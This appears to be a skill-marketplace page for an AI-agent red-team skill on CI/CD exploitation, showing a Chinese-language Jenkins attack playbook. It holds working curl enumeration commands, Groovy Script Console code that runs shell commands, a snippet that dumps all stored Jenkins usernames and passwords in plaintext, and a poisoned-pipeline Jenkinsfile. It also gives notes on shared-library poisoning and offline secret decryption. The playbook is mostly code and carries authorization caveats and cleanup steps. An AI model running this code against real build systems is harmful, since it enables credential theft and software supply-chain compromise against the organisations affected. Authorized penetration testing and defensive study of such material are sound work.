pale-knight/redteam-skill / skills/cicd
cicd
VerifiedCI/CD pipeline and software-supply-chain exploitation: Jenkins, GitHub Actions, GitLab CI/CD, Azure DevOps, Gitea/Forgejo, self-hosted runners/agents, poisoned pipeline execution, artifact/cache abuse, dependency confusion, third-party Action trust, GitOps/registry poisoning, workload identity/OIDC, and emerging agentic CI/CD. Use this skill when the operator has access to a CI/CD system, source repository, build/deploy configuration, runner/agent, artifact/package/registry path, or software delivery trust chain.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 11.3 KB |
| references/agentic-cicd.md | markdown | 2.8 KB |
| references/artifact-supply-chain.md | markdown | 3.1 KB |
| references/automation-audit.md | markdown | 3.2 KB |
| references/cicd-attacks.md | markdown | 2.3 KB |
| references/dependency-supply-chain.md | markdown | 2.5 KB |
| references/github-actions.md | markdown | 7.1 KB |
| references/gitlab-azuredevops.md | markdown | 3.5 KB |
| references/gitops-registry.md | markdown | 1.9 KB |
| references/jenkins.md | markdown | 2.7 KB |
| references/runner-agent.md | markdown | 4.2 KB |
| references/vulnerability-intelligence.md | markdown | 487 B |
| references/workload-identity.md | markdown | 3.5 KB |
references/jenkins.md
View on GitHub# Jenkins 攻击链
---
## 1. 识别 / API / 权限
```bash
curl -sI http://JENKINS:8080/ | grep -iE 'x-jenkins|x-hudson'
curl -s http://JENKINS:8080/api/json?pretty=true
```
已知账号/token:
```bash
curl -s -u 'USER:TOKEN' 'http://JENKINS:8080/api/json?tree=jobs[name,url,color]'
curl -s -u 'USER:TOKEN' 'http://JENKINS:8080/computer/api/json?tree=computer[displayName,offline,executors[*]]'
```
先判断:
```text
Overall/Read
Job/Read Build Configure
Credentials/View Update
Agent/Build Configure Connect
Overall/Administer
Script Console
```
---
## 2. Script Console
仅在已有相应授权时:
```groovy
println "whoami".execute().text
println new File('/etc/hostname').text
```
成功即证明 Controller server-side code execution。不要为了“继续CI/CD”重复做Linux提权;如果当前链目标是 Jenkins credential/agent/deploy,可以继续 Jenkins 控制面。
---
## 3. Credential Store
Script Console 权限允许通过 Jenkins API访问 credential object;不要只去读 `credentials.xml`。
```groovy
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
def cs = CredentialsProvider.lookupCredentials(
StandardUsernamePasswordCredentials.class,
Jenkins.instance,
null,
null
)
cs.each { c -> println("${c.id}: ${c.username} / ${c.password}") }
```
离线解密需要匹配 Jenkins home 中的 credential XML、`secrets/master.key`、`secrets/hudson.util.Secret` 等;文件不全时不要宣称可解密。
---
## 4. Poisoned Pipeline Execution
仓库/Job Configure 任一入口都可能形成 PPE。
```groovy
pipeline {
agent any
stages {
stage('Proof') {
steps {
sh 'id; printf CICD_PPE_PROOF > /tmp/cicd-ppe-proof'
}
}
}
}
```
继续判断:
```text
运行在哪个Agent?
绑定了哪些credentials?
是否有deploy/cloud/kubeconfig?
Job是否能写artifact/registry?
```
---
## 5. Shared Libraries / Global Pipeline Trust
搜索 Jenkinsfile:
```text
@Library('name')
@Library('name@branch')
library identifier
```
如果低权限用户能修改被多条高权限 pipeline 信任的 Shared Library repo/ref,可形成组织级 PPE。验证应使用 marker commit,并记录受影响 jobs。
---
## 6. Agent / Workspace
Agent侧见 **runner-agent.md**。重点不是泛化“agent→controller”,而是:
```text
低信任job能否落到高价值agent
agent是否non-ephemeral
workspace/tool/cache是否跨job
controller是否向该job绑定高价值credential
```
---
## 7. Cleanup
如果修改 Jenkinsfile/Job config:
1. 记录原 commit/config XML;
2. 验证后恢复;
3. 删除测试 artifact/marker/job;
4. 如读取真实 credential,记录暴露范围,不在技能里自动轮换生产凭据。
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |